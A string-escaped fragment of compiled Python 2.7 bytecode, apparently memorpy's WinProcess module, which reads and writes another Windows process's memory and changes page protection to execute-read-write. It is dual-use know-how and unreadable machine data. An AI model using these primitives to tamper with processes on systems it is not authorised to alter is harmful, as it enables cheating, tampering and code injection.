\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x06\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x02\\\\x15\\\\x01F\\\\x01)\\\\x01\\\\x10\\\\x01\\\\x18\\\\x01\\\\x0f\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\x04\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00sS\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00d\\\\x00\\\\x00k\\\\t\\\\x00rO\\\\x00t\\\\x02\\\\x00j\\\\x03\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x01\\\\x00k\\\\x02\\\\x00}\\\\x01\\\\x00|\\\\x01\\\\x00rK\\\\x00d\\\\x00\\\\x00|\\\\x00\\\\x00_\\\\x00\\\\x00d\\\\x00\\\\x00|\\\\x00\\\\x00_\\\\x04\\\\x00t\\\\x05\\\\x00|\\\\x00\\\\x00_\\\\x06\\\\x00n\\\\x00\\\\x00|\\\\x01\\\\x00St\\\\x05\\\\x00S(\\\\x02\\\\x00\\\\x00\\\\x00Ni\\\\x01\\\\x00\\\\x00\\\\x00(\\\\x07\\\\x00\\\\x00\\\\x00R\\\\\\'\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00R,\\\\x00\\\\x00\\\\x00R0\\\\x00\\\\x00\\\\x00R\\\\x1d\\\\x00\\\\x00\\\\x00R%\\\\x00\\\\x00\\\\x00RX\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00ret(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyR \\\\x00\\\\x00\\\\x00\\\\x88\\\\x00\\\\x00\\\\x00s\\\\x10\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x0f\\\\x01\\\\x18\\\\x01\\\\x06\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\x04\\\\x01c\\\\x03\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x90\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x03\\\\x00|\\\\x03\\\\x00s(\\\\x00t\\\\x01\\\\x00d\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00n%\\\\x00t\\\\x02\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x02\\\\x00k\\\\x04\\\\x00rM\\\\x00t\\\\x03\\\\x00d\\\\x03\\\\x00|\\\\x01\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00n\\\\x00\\\\x00|\\\\x02\\\\x00rq\\\\x00|\\\\x00\\\\x00j\\\\x04\\\\x00|\\\\x03\\\\x00d\\\\x04\\\\x00\\\\x19d\\\\x05\\\\x00\\\\x19d\\\\x06\\\\x00t\\\\x05\\\\x00\\\\x83\\\\x01\\\\x01\\\\x01n\\\\x1b\\\\x00|\\\\x00\\\\x00j\\\\x04\\\\x00|\\\\x03\\\\x00d\\\\x04\\\\x00\\\\x19d\\\\x05\\\\x00\\\\x19d\\\\x06\\\\x00t\\\\x06\\\\x00\\\\x83\\\\x01\\\\x01\\\\x01d\\\\x00\\\\x00S(\\\\x07\\\\x00\\\\x00\\\\x00Ns\\\\x1a\\\\x00\\\\x00\\\\x00can\\\\\\'t get pid from name %si\\\\x01\\\\x00\\\\x00\\\\x00sV\\\\x00\\\\x00\\\\x00There is multiple processes with name %s. Please select a process from its pid insteadi\\\\x00\\\\x00\\\\x00\\\\x00R\\\\x1d\\\\x00\\\\x00\\\\x00R\\\\x0e\\\\x00\\\\x00\\\\x00(\\\\x07\\\\x00\\\\x00\\\\x00RI\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00RF\\\\x00\\\\x00\\\\x00R\\\\x14\\\\x00\\\\x00\\\\x00R\\\\x11\\\\x00\\\\x00\\\\x00RW\\\\x00\\\\x00\\\\x00R%\\\\x00\\\\x00\\\\x00(\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00RG\\\\x00\\\\x00\\\\x00R\\\\x0e\\\\x00\\\\x00\\\\x00R2\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyR\\\\x13\\\\x00\\\\x00\\\\x00\\\\x92\\\\x00\\\\x00\\\\x00s\\\\x10\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x0f\\\\x01\\\\x06\\\\x01\\\\x13\\\\x01\\\\x12\\\\x01\\\\x13\\\\x01\\\\x06\\\\x01\\\\x1e\\\\x02c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s \\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x01\\\\x00t\\\\x01\\\\x00j\\\\x02\\\\x00t\\\\x03\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01|\\\\x01\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x04\\\\x00\\\\x00\\\\x00t\\\\x0b\\\\x00\\\\x00\\\\x00SYSTEM_INFOR,\\\\x00\\\\x00\\\\x00R\\\\x19\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00R\\\\x1f\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyR\\\\x19\\\\x00\\\\x00\\\\x00\\\\x9d\\\\x00\\\\x00\\\\x00s\\\\x06\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01\\\\x13\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s \\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x01\\\\x00t\\\\x01\\\\x00j\\\\x02\\\\x00t\\\\x03\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01|\\\\x01\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x04\\\\x00\\\\x00\\\\x00R_\\\\x00\\\\x00\\\\x00R,\\\\x00\\\\x00\\\\x00R\\\\x16\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00R\\\\x1f\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyR\\\\x16\\\\x00\\\\x00\\\\x00\\\\xa2\\\\x00\\\\x00\\\\x00s\\\\x06\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01\\\\x13\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00sD\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x02\\\\x00t\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x02\\\\x00|\\\\x01\\\\x00t\\\\x03\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x04\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x04\\\\x00s@\\\\x00t\\\\x05\\\\x00d\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00n\\\\x00\\\\x00|\\\\x02\\\\x00S(\\\\x02\\\\x00\\\\x00\\\\x00Ns\\\\x1c\\\\x00\\\\x00\\\\x00Error VirtualQueryEx: 0x%08X(\\\\x06\\\\x00\\\\x00\\\\x00t\\\\x18\\\\x00\\\\x00\\\\x00MEMORY_BASIC_INFORMATIONt\\\\x0e\\\\x00\\\\x00\\\\x00VirtualQueryExR\\\\\\'\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00lpAddresst\\\\x03\\\\x00\\\\x00\\\\x00mbi(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyRa\\\\x00\\\\x00\\\\x00\\\\xa7\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01$\\\\x01\\\\x13\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00sD\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x02\\\\x00t\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x02\\\\x00|\\\\x01\\\\x00t\\\\x03\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x04\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x04\\\\x00s@\\\\x00t\\\\x05\\\\x00d\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00n\\\\x00\\\\x00|\\\\x02\\\\x00S(\\\\x02\\\\x00\\\\x00\\\\x00Ns\\\\x1c\\\\x00\\\\x00\\\\x00Error VirtualQueryEx: 0x%08X(\\\\x06\\\\x00\\\\x00\\\\x00t\\\\x1a\\\\x00\\\\x00\\\\x00MEMORY_BASIC_INFORMATION64t\\\\x10\\\\x00\\\\x00\\\\x00VirtualQueryEx64R\\\\\\'\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00Rb\\\\x00\\\\x00\\\\x00Rc\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyRe\\\\x00\\\\x00\\\\x00\\\\xad\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01$\\\\x01\\\\x13\\\\x01c\\\\x04\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00\\\\x07\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00sS\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00d\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x04\\\\x00t\\\\x01\\\\x00j\\\\x02\\\\x00|\\\\x00\\\\x00j\\\\x03\\\\x00|\\\\x01\\\\x00|\\\\x02\\\\x00|\\\\x03\\\\x00t\\\\x04\\\\x00|\\\\x04\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x05\\\\x00sL\\\\x00t\\\\x05\\\\x00d\\\\x02\\\\x00|\\\\x01\\\\x00|\\\\x02\\\\x00|\\\\x03\\\\x00f\\\\x03\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00n\\\\x00\\\\x00|\\\\x04\\\\x00j\\\\x06\\\\x00S(\\\\x03\\\\x00\\\\x00\\\\x00Ni\\\\x00\\\\x00\\\\x00\\\\x00s\\\\\\'\\\\x00\\\\x00\\\\x00Error: VirtualProtectEx(%08X, %d, %08X)(\\\\x07\\\\x00\\\\x00\\\\x00R\\\\x04\\\\x00\\\\x00\\\\x00R,\\\\x00\\\\x00\\\\x00t\\\\x10\\\\x00\\\\x00\\\\x00VirtualProtectExR\\\\\\'\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R(\\\\x00\\\\x00\\\\x00(\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00t\\\\x0c\\\\x00\\\\x00\\\\x00base_addresst\\\\x04\\\\x00\\\\x00\\\\x00sizet\\\\n\\\\x00\\\\x00\\\\x00protectiont\\\\x0b\\\\x00\\\\x00\\\\x00old_protect(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyRf\\\\x00\\\\x00\\\\x00\\\\xb3\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x0c\\\\x01$\\\\x01\\\\x1c\\\\x01c\\\\x05\\\\x00\\\\x00\\\\x00\\\\n\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00c\\\\x00\\\\x00\\\\x00s\\\\xed\\\\x00\\\\x00\\\\x00|\\\\x01\\\\x00p\\\\x0c\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00}\\\\x05\\\\x00|\\\\x02\\\\x00p\\\\x1b\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00}\\\\x02\\\\x00x\\\\xc8\\\\x00t\\\\x02\\\\x00r\\\\xe8\\\\x00|\\\\x05\\\\x00|\\\\x02\\\\x00k\\\\x05\\\\x00r7\\\\x00Pn\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x03\\\\x00|\\\\x05\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x06\\\\x00|\\\\x06\\\\x00j\\\\x04\\\\x00}\\\\x05\\\\x00|\\\\x06\\\\x00j\\\\x05\\\\x00}\\\\x07\\\\x00|\\\\x06\\\\x00j\\\\x06\\\\x00}\\\\x08\\\\x00|\\\\x06\\\\x00j\\\\x07\\\\x00}\\\\t\\\\x00|\\\\t\\\\x00t\\\\x08\\\\x00@s~\\\\x00|\\\\t\\\\x00t\\\\t\\\\x00@r\\\\x8e\\\\x00|\\\\x05\\\\x00|\\\\x07\\\\x007}\\\\x05\\\\x00q!\\\\x00n\\\\x00\\\\x00|\\\\x03\\\\x00r\\\\xd0\\\\x00|\\\\x08\\\\x00|\\\\x03\\\\x00@\\\\x0cs\\\\xbd\\\\x00|\\\\x08\\\\x00t\\\\n\\\\x00@s\\\\xbd\\\\x00|\\\\x08\\\\x00t\\\\x0b\\\\x00@s\\\\xbd\\\\x00|\\\\x08\\\\x00t\\\\x0c\\\\x00@r\\\\xd0\\\\x00|\\\\x05\\\\x00|\\\\x07\\\\x007}\\\\x05\\\\x00q!\\\\x00q\\\\xd0\\\\x00n\\\\x00\\\\x00|\\\\x05\\\\x00|\\\\x07\\\\x00f\\\\x02\\\\x00V\\\\x01|\\\\x05\\\\x00|\\\\x07\\\\x007}\\\\x05\\\\x00q!\\\\x00Wd\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\r\\\\x00\\\\x00\\\\x00R\\\\x1b\\\\x00\\\\x00\\\\x00R\\\\x18\\\\x00\\\\x00\\\\x00RW\\\\x00\\\\x00\\\\x00Ra\\\\x00\\\\x00\\\\x00t\\\\x0b\\\\x00\\\\x00\\\\x00BaseAddresst\\\\n\\\\x00\\\\x00\\\\x00RegionSizet\\\\x07\\\\x00\\\\x00\\\\x00Protectt\\\\x05\\\\x00\\\\x00\\\\x00Statet\\\\x08\\\\x00\\\\x00\\\\x00MEM_FREEt\\\\x0b\\\\x00\\\\x00\\\\x00MEM_RESERVEt\\\\x0c\\\\x00\\\\x00\\\\x00PAGE_NOCACHEt\\\\x11\\\\x00\\\\x00\\\\x00PAGE_WRITECOMBINEt\\\\n\\\\x00\\\\x00\\\\x00PAGE_GUARD(\\\\n\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00t\\\\x0c\\\\x00\\\\x00\\\\x00start_offsett\\\\n\\\\x00\\\\x00\\\\x00end_offsett\\\\x06\\\\x00\\\\x00\\\\x00protect\\\\r\\\\x00\\\\x00\\\\x00optimizationst\\\\x06\\\\x00\\\\x00\\\\x00offsetRc\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00chunkt\\\\x07\\\\x00\\\\x00\\\\x00protectt\\\\x05\\\\x00\\\\x00\\\\x00state(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyt\\\\x0b\\\\x00\\\\x00\\\\x00iter_region\\\\xb9\\\\x00\\\\x00\\\\x00s&\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x0f\\\\x01\\\\x0f\\\\x02\\\\t\\\\x01\\\\x0c\\\\x01\\\\x04\\\\x01\\\\x0f\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x02\\\\x14\\\\x01\\\\n\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01)\\\\x01\\\\n\\\\x01\\\\t\\\\x01\\\\x0b\\\\x01c\\\\x03\\\\x00\\\\x00\\\\x00\\\\n\\\\x00\\\\x00\\\\x00\\\\x07\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\xd8\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00s4\\\\x00t\\\\x02\\\\x00d\\\\x01\\\\x00|\\\\x01\\\\x00|\\\\x02\\\\x00|\\\\x00\\\\x00j\\\\x03\\\\x00f\\\\x03\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00n\\\\x00\\\\x00t\\\\x04\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x03\\\\x00t\\\\x05\\\\x00d\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x04\\\\x00t\\\\x06\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x03\\\\x00\\\\x18}\\\\x05\\\\x00|\\\\x01\\\\x00}\\\\x06\\\\x00|\\\\x05\\\\x00d\\\\x03\\\\x00\\\\x17}\\\\x07\\\\x00y\\\\x19\\\\x00|\\\\x00\\\\x00j\\\\x07\\\\x00|\\\\x06\\\\x00|\\\\x07\\\\x00t\\\\x08\\\\x00\\\\x83\\\\x03\\\\x00}\\\\x08\\\\x00Wn\\\\x07\\\\x00\\\\x01\\\\x01\\\\x01n\\\\x01\\\\x00Xt\\\\t\\\\x00j\\\\n\\\\x00|\\\\x00\\\\x00j\\\\x0b\\\\x00|\\\\x01\\\\x00|\\\\x03\\\\x00|\\\\x05\\\\x00t\\\\x0c\\\\x00|\\\\x04\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x05\\\\x00}\\\\t\\\\x00y\\\\x17\\\\x00|\\\\x00\\\\x00j\\\\x07\\\\x00|\\\\x06\\\\x00|\\\\x07\\\\x00|\\\\x08\\\\x00\\\\x83\\\\x03\\\\x00\\\\x01Wn\\\\x07\\\\x00\\\\x01\\\\x01\\\\x01n\\\\x01\\\\x00X|\\\\t\\\\x00S(\\\\x04\\\\x00\\\\x00\\\\x00Ns1\\\\x00\\\\x00\\\\x00Can\\\\\\'t write_bytes(%s, %s), process %s is not openi\\\\x00\\\\x00\\\\x00\\\\x00i\\\\x01\\\\x00\\\\x00\\\\x00(\\\\r\\\\x00\\\\x00\\\\x00R\\\\x12\\\\x00\\\\x00\\\\x00RX\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\x1d\\\\x00\\\\x00\\\\x00R\\\\x03\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00c_size_tR\\\\x01\\\\x00\\\\x00\\\\x00Rf\\\\x00\\\\x00\\\\x00t\\\\x16\\\\x00\\\\x00\\\\x00PAGE_EXECUTE_READWRITER,\\\\x00\\\\x00\\\\x00t\\\\x12\\\\x00\\\\x00\\\\x00WriteProcessMemoryR\\\\\\'\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00(\\\\n\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00addresst\\\\x04\\\\x00\\\\x00\\\\x00datat\\\\x06\\\\x00\\\\x00\\\\x00buffert\\\\n\\\\x00\\\\x00\\\\x00sizeWritent\\\\n\\\\x00\\\\x00\\\\x00bufferSizet\\\\x08\\\\x00\\\\x00\\\\x00_addresst\\\\x07\\\\x00\\\\x00\\\\x00_lengthRj\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00res(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyt\\\\x0b\\\\x00\\\\x00\\\\x00write_bytes\\\\xd1\\\\x00\\\\x00\\\\x00s$\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x0c\\\\x01\\\\t\\\\x01\\\\x1f\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x10\\\\x01\\\\x06\\\\x01\\\\n\\\\x01\\\\x03\\\\x01\\\\x19\\\\x01\\\\x03\\\\x01\\\\x04\\\\x02$\\\\x01\\\\x03\\\\x01\\\\x17\\\\x01\\\\x03\\\\x01\\\\x04\\\\x02i\\\\x04\\\\x00\\\\x00\\\\x00c\\\\x04\\\\x00\\\\x00\\\\x00\\\\t\\\\x00\\\\x00\\\\x00\\\\x07\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00sF\\\\x01\\\\x00\\\\x00|\\\\x03\\\\x00r*\\\\x00t\\\\x00\\\\x00d\\\\x00\\\\x00k\\\\x08\\\\x00r!\\\\x00t\\\\x02\\\\x00d\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00n\\\\x00\\\\x00t\\\\x00\\\\x00}\\\\x04\\\\x00n\\\\x06\\\\x00t\\\\x03\\\\x00}\\\\x04\\\\x00t\\\\x04\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x01\\\\x00t\\\\x05\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x05\\\\x00t\\\\x06\\\\x00d\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x06\\\\x00d\\\\x03\\\\x00}\\\\x07\\\\x00|\\\\x02\\\\x00}\\\\x08\\\\x00x\\\\xdf\\\\x00|\\\\x08\\\\x00rA\\\\x01|\\\\x04\\\\x00|\\\\x00\\\\x00j\\\\x07\\\\x00|\\\\x01\\\\x00|\\\\x05\\\\x00|\\\\x02\\\\x00t\\\\x08\\\\x00|\\\\x06\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x05\\\\x00s\\\\x9f\\\\x00|\\\\x03\\\\x00r\\\\x0e\\\\x01t\\\\t\\\\x00\\\\x83\\\\x00\\\\x00d\\\\x02\\\\x00k\\\\x02\\\\x00r\\\\x0e\\\\x01|\\\\x06\\\\x00j\\\\n\\\\x00r\\\\xd9\\\\x00|\\\\x07\\\\x00|\\\\x05\\\\x00j\\\\x0b\\\\x00|\\\\x06\\\\x00j\\\\n\\\\x00 7}\\\\x07\\\\x00|\\\\x08\\\\x00|\\\\x06\\\\x00j\\\\n\\\\x008}\\\\x08\\\\x00|\\\\x01\\\\x00|\\\\x06\\\\x00j\\\\n\\\\x007}\\\\x01\\\\x00n\\\\x00\\\\x00t\\\\x0c\\\\x00|\\\\x07\\\\x00\\\\x83\\\\x01\\\\x00s\\\\n\\\\x01t\\\\r\\\\x00d\\\\x04\\\\x00t\\\\t\\\\x00\\\\x83\\\\x00\\\\x00|\\\\x01\\\\x00|\\\\x08\\\\x00|\\\\x06\\\\x00j\\\\n\\\\x00f\\\\x04\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00n\\\\x00\\\\x00|\\\\x07\\\\x00St\\\\t\\\\x00\\\\x83\\\\x00\\\\x00d\\\\x05\\\\x00k\\\\x02\\\\x00r5\\\\x01|\\\\x07\\\\x00|\\\\x05\\\\x00j\\\\x0b\\\\x00|\\\\x06\\\\x00j\\\\n\\\\x00 7}\\\\x07\\\\x00|\\\\x07\\\\x00St\\\\x0e\\\\x00\\\\x83\\\\x00\\\\x00\\\\x82\\\\x01\\\\x00qc\\\\x00W|\\\\x07\\\\x00S(\\\\x06\\\\x00\\\\x00\\\\x00Ns@\\\\x00\\\\x00\\\\x00NtWow64ReadVirtualMemory64 is not available from a 64bit processi\\\\x00\\\\x00\\\\x00\\\\x00RB\\\\x00\\\\x00\\\\x00s0\\\\x00\\\\x00\\\\x00Error %s in ReadProcessMemory(%08x, %d, read=%d)i+\\\\x01\\\\x00\\\\x00(\\\\x0f\\\\x00\\\\x00\\\\x00t\\\\x1a\\\\x00\\\\x00\\\\x00NtWow64ReadVirtualMemory64R&\\\\x00\\\\x00\\\\x00t\\\\x0c\\\\x00\\\\x00\\\\x00WindowsErrort\\\\x11\\\\x00\\\\x00\\\\x00ReadProcessMemoryR\\\\x12\\\\x00\\\\x00\\\\x00R\\\\x03\\\\x00\\\\x00\\\\x00R}\\\\x00\\\\x00\\\\x00R\\\\\\'\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00R(\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00rawRF\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00(\\\\t\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00R\\\\x80\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00bytest\\\\x1e\\\\x00\\\\x00\\\\x00use_NtWow64ReadVirtualMemory64t\\\\x03\\\\x00\\\\x00\\\\x00RpMR\\\\x82\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00bytesreadR\\\\x81\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00length(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyt\\\\n\\\\x00\\\\x00\\\\x00read_bytes\\\\xe7\\\\x00\\\\x00\\\\x00s6\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x06\\\\x01\\\\x0c\\\\x01\\\\x0f\\\\x01\\\\t\\\\x02\\\\x06\\\\x02\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\t\\\\x016\\\\x01\\\\t\\\\x01\\\\x14\\\\x01\\\\r\\\\x01\\\\x10\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x03\\\\x01\\\\x03\\\\x01\\\\x13\\\\x01\\\\x04\\\\x02\\\\x0f\\\\x01\\\\x14\\\\x01\\\\x04\\\\x01\\